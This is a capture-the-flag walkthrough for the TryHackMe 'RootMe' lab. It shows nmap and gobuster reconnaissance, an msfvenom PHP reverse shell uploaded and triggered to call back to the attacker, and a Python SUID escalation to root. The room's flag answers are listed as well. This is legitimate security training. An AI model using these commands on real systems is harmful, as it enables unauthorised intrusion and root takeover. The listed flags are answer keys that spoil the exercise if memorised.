TryHackMe RootMe

🔗 Click here to access the TryHackMe room

IP Addresses:

- Target/Victim Machine

```
10.10.188.49 (Ubuntu 18.04.4 LTS)
```

- Attacker Machine

```
10.17.35.235 (Ubuntu 23.10)
```

Reconnaissance:

- Nmap Scan

```
nmap -sV 10.10.188.49 -o nmap.log
```

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1
80/tcp open  http    Apache httpd 2.4.29
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

- Gobuster Scan

```
gobuster dir -u 10.10.188.49 -w ~/tools/wordlists/dirb/common.txt -o gobuster.log
```

```
/.hta                 (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
/css                  (Status: 301) [Size: 310]
/index.php            (Status: 200) [Size: 616]
/js                   (Status: 301) [Size: 309]
/panel                (Status: 301) [Size: 312]
/server-status        (Status: 403) [Size: 277]
/uploads              (Status: 301) [Size: 314]
```

THM Questions (Task 1):

- *Q1*: Scan the machine, how many ports are open?
  A: `2`
- *Q2*: What version of Apache is running?
  A: `2.4.29`
- *Q3*: What service is running on port 22?
  A: `ssh`
- *Q4*: What is the hidden directory?
  A: `/panel/`

Attempting to gain a shell:

- Payload creation (PHP Reverse Shell)

  ```
  msfvenom -p php/reverse_php LHOST=tun0 LPORT=4444 -o shell.php5
  ```

- Listening to connection on msfconsole

  ```
  msfconsole
  ```

  ```
  use exploit/multi/handler
  ```

  ```
  set payload php/reverse_php
  ```

  ```
  set LHOST tun0
  ```

  ```
  exploit
  ```

- Executing reverse shell on the server

  ```
  curl 10.10.188.49/uploads/shell.php5
  ```

Shell obtained successfully with user `www-data`

USER.TXT:

- Finding

> find / -name user.txt 2>/dev/null

```
/var/www/user.txt
```

- Reading

> cat /var/www/user.txt

```
THM{y0u_g0t_a_sh3ll}
```

THM Questions (Task 2):

- *Q1*: user.txt
  A: `THM{y0u_g0t_a_sh3ll}`

Attempting privilege escalation:

- linPEAS.sh scan

  `/usr/bin/python` is found to be having some weird SUID permissions, and hence a potential PrivEsc vector

- Found Python SUID exploitation on GTFOBins

> /usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

Root access gained successfully!

ROOT.TXT:

- Finding

> find / -name root.txt 2>/dev/null

```
/root/root.txt
```

- Reading

  > cat /root/root.txt

  ```
  THM{pr1v1l3g3_3sc4l4t10n}
  ```

THM Questions (Task 3):

- *Q1*: Search for files with SUID permission,, which file is weird?
  A: `/usr/bin/python`
- *Q2*: root.txt
  A: `THM{pr1v1l3g3_3sc4l4t10n}`

💻 Created by Jayaditya Dev

🚀 Find me on GitHub, LinkedIn and X
